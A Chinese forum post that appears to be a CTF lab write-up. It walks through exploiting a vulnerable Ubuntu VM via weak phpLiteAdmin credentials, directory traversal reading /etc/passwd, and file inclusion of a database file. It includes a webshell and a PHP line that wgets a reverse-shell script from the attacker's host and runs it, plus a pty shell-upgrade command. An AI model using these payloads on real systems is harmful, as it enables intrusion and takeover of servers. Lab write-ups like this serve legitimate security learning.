GetRoot-文件包含1

webdogc   ·   发表于 1个月前   ·   技术文章

0x00前言
  本篇文章为CTF学习记录系列第三篇,主要内容为通过文件包含结合数据库写入payload实现反弹shell。涉及知识点:工具nmap、dirb、nikto及nc的使用、渗透流程、kali建立局域网服务器等。关于靶场,玩法不一,以下只是本人的一次学习过程,不喜勿喷。
0x01环境
  攻击机(kali):192.168.1.15
  靶机(Ubuntu):192.168.1.16
0x02工具
  nmap、nikto、dirb、netcat、VMware
0x03过程
  信息探测
  终端下输入nmap -T4 -A -p- 192.168.1.16

  探测结果为
    开放端口: 80(http)、22(ssh)、111(rpc)
    Web容器信息:Apache httpd 2.2.22
    系统信息:Ubuntu 1.10
  进一步探测敏感信息
  使用nc对非http服务的大端口进行探测
  
  长时间没有反应,未能得到有效信息
  针对开放http服务的80端口
  终端下输入nikto -host http://192.168.1.16

  输入dirb http://192.168.1.16

  扫描结果:
  PHP版本为5.3.10,/package.json可能存在敏感信息、/dbadmin/数据库登录等,貌似并没有敏感关键词出现。
  打开浏览器访问ip

  发现是商店网站,大致浏览一遍,发现是展示类网站,除了下图页面存在的文件包含外并无可利用点。

  深入挖掘
  对探测到的信息进行逐个访问
  访问ip/package.json

  得到一些版本信息。
  访问ip/dbadmin

  发现数据库登录页面,尝试弱口令admin

  成功登录,简单浏览

  获得敏感信息,账号密码,利用解密工具对密码进行解密


  盲猜zico是用户名,且确认ssh服务开启,尝试远程登录zico
  
  权限不足,无法深入
  访问ip/cgi-bin

  没有权限,访问ip/server-status,同样没有权限
  此时来看刚刚可能存在的文件包含ip/view?page=tools.html
  尝试用./以及../目录穿越查看敏感文件/etc/passwd
  chengdu.myqcloud.com/myblog/CTF/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/%E5%9B%BE%E7%89%8715.png)
  成功读取到文件内容,确认存在目录遍历漏洞
  尝试读取/etc/shadow文件信息

  无内容回显,shadow文件可能被设置不可访问或是权限不够。
  漏洞利用
  读取敏感信息(不做展开)以及文件包含实现getshell
  上传一个webshell到服务器,通过此处的目录遍历+文件包含可实现获取反弹shell。
  这里尝试利用数据库写入webshell
  我们尝试去包含/dbadmin/test_db.php

  页面成功回显,同时注意到路径/usr/databases/test_users
  尝试包含此路径

  获得数据库信息
  尝试创建以1.php命名的数据库,内容填充php代码,先尝试使用phpinfo

  访问1.php

  成功获取phpinfo信息,接下来尝试获取shell
  使用kali自带的webshells中的php反弹shell文件,设置好监听ip以及端口
  
  将以上代码复制到数据库字段中
  
  代码插入失败

  开启nc监听,刷新页面,监听无结果。
  尝试写入一句话

  写入成功
  中国蚁剑成功连接,打开root目录,显示没有权限

  这里为常规操作。接下来是提权,这里不多做展开。
  回到kali,尝试用kali反弹shell,思路如下:在kali桌面上生成一个反弹shell的代码文件shell.php,然后在桌面上用python建立一个HTTP服务器,在数据库写入到局域网服务器(即python建立的HTTP服务器,如果搭建一个公网服务器,就能够实现攻击)下载并执行文件的代码。当数据库文件被访问时,代码被执行,成功反弹shell。
  首先在kali桌面备好代码文件
  
  在桌面建立局域网服务器,端口为8000
  
  写入代码
  <?php system("cd /tmp;wget http://192.168.1.15:8000/php-reverse-shell.php;chmod +x php-reverse-shell.php;php php-reverse-shell.php");?>(之前应该对代码文件重命名)
  
  保存并访问

  成功反弹shell,此时使用python -c “import pty;pty.spawn(‘/bin/bash’)”反弹终端

  成功反弹,尝试查看sudo权限的命令

  发现数据库破解的密码都不管用。渗透暂时到此为止。
0x04总结
  此次渗透,依旧是以信息收集开始,利用文件包含以及数据库可植入payload且可被访问成功反弹shell,然后利用脚本命令反弹终端。
  学习到了数据库页面的利用、搭建局域网服务器的新姿势,同时,亦巩固了以信息搜集打头的渗透。
  下一篇,再来简单聊聊提权的知识点并获取到靶机上root目录下的FLAG。

作者:WebDogC

用户名金币积分时间理由
admin 50.00 0 2020-05-25 11:11:10

打赏我,让我更有动力~

Attachment List

靶场地址.zip   File Size:0M (Download Count:0)   Price:10

1 Reply   |  Until 1个月前 | 629 View

sechacker
发表于 1个月前

感谢楼主分享 很不错的教程

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部

掌控者 © 2016. All Rights Reserved. 掌控者

Powered by 掌控者 Version 2.1.3